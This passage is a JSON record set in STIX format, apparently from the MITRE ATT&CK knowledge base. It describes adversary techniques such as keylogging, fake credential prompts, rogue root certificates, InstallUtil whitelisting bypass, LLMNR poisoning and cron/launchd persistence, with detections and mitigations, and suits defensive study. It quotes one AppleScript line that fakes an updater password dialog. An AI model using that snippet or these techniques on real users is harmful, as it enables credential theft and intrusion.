                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:48.323Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Input Capture",
            "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
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                {
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1056",
                    "external_id": "T1056"
                },
                {
                    "source_name": "Adventures of a Keystroke",
                    "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016."
                },
                {
                    "source_name": "Wrightson 2012",
                    "description": "Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014.",
                    "url": "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/"
                },
                {
                    "source_name": "Volexity Virtual Private Keylogging",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
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            "x_mitre_data_sources": [
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                "Process monitoring",
                "API monitoring"
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            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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                "Windows"
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
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            "type": "course-of-action",
            "id": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Input Prompt Mitigation",
            "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1141",
                    "external_id": "T1141"
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\n<code>set thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")</code>\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: macOS\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User",
            "kill_chain_phases": [
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                    "phase_name": "credential-access"
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                    "url": "https://attack.mitre.org/wiki/Technique/T1141",
                    "external_id": "T1141"
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                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                },
                {
                    "source_name": "OSX Malware Exploits MacKeeper",
                    "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.",
                    "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_data_sources": [
                "User interface",
                "Process Monitoring"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Install Root Certificate Mitigation",
            "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1130",
                    "external_id": "T1130"
                },
                {
                    "source_name": "Wikipedia HPKP",
                    "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTTP%20Public%20Key%20Pinning"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:42.750Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Install Root Certificate",
            "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nInstalled root certificates are located in the Registry: <code>HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT\\Certificates</code>. There is a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire",
            "kill_chain_phases": [
                {
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                    "phase_name": "defense-evasion"
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            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1130",
                    "external_id": "T1130"
                },
                {
                    "source_name": "Wikipedia Root Certificate",
                    "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Root%20certificate"
                },
                {
                    "source_name": "Operation Emmental",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf"
                },
                {
                    "source_name": "Kaspersky Superfish",
                    "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
                    "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"
                },
                {
                    "source_name": "Tripwire AppUNBlocker",
                    "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
                    "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
                }
            ],
            "object_marking_refs": [
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            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "SSL/TLS inspection",
                "Digital Certificate Logs"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ],
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "InstallUtil Mitigation",
            "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1118",
                    "external_id": "T1118"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:27.510Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "InstallUtil",
            "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith, Travis Smith, Tripwire",
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                },
                {
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                    "phase_name": "execution"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1118",
                    "external_id": "T1118"
                },
                {
                    "source_name": "MSDN InstallUtil",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
                },
                {
                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass",
                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
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                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Process whitelisting"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Keychain Mitigation",
            "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1142",
                    "external_id": "T1142"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
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                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
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                    "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.",
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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            "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic.",
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            "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords.\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)\n\nDetection: Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool. (Citation: GitHub Conveigh)\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Packet capture, Netflow/Enclave netflow\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
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                    "source_name": "Wikipedia LLMNR",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Link-Local%20Multicast%20Name%20Resolution"
                },
                {
                    "source_name": "TechNet NetBIOS",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://technet.microsoft.com/library/cc958811.aspx"
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                    "source_name": "GitHub NBNSpoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "url": "https://github.com/nomex/nbnspoof"
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                    "source_name": "Rapid7 LLMNR Spoofer",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr%20response"
                },
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                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "url": "https://github.com/SpiderLabs/Responder"
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                {
                    "source_name": "Sternsecurity LLMNR-NBTNS",
                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
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                    "source_name": "GitHub Conveigh",
                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
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                    "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.",
                    "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works"
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                    "source_name": "Microsoft DLL Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
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            "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.  (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\n\nDetection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Vincent Le Toux",
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                    "source_name": "Microsoft Security Subsystem",
                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/cc961760.aspx"
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                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
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                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
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                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
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            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Restrict user's abilities to create Launch Agents with group policy.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1159",
                    "external_id": "T1159"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
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                    "source_name": "AppleDocs Launch Agent Daemons",
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                    "source_name": "Methods of Mac Malware Persistence",
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                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
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                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf"
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                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
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                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
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                    "source_name": "Sofacy Komplex Trojan",
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                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
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                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
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            "x_mitre_permissions_required": [
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1152",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Local Job Scheduling Mitigation",
            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1168",
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            "x_mitre_domains": [
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            "type": "attack-pattern",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
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            "description": "On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n===at===\n\nThe at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n===launchd===\n\nEach launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator, User, root\n\nContributors: Anastasios Pingios",
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                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1168",
                    "external_id": "T1168"
                },
                {
                    "source_name": "AppleDocs Scheduling Timed Jobs",
                    "description": "Apple. (n.d.).  Retrieved July 17, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html"
                },
                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
                },
                {
                    "source_name": "Die.net Linux crontab Man Page",
                    "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.",
                    "url": "https://linux.die.net/man/5/crontab"
                },
                {
                    "source_name": "Die.net Linux at Man Page",
                    "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.",
                    "url": "https://linux.die.net/man/1/at"
                },
                {
                    "source_name": "Avast Linux Trojan Cron Persistence",
                    "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.",
                    "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/"
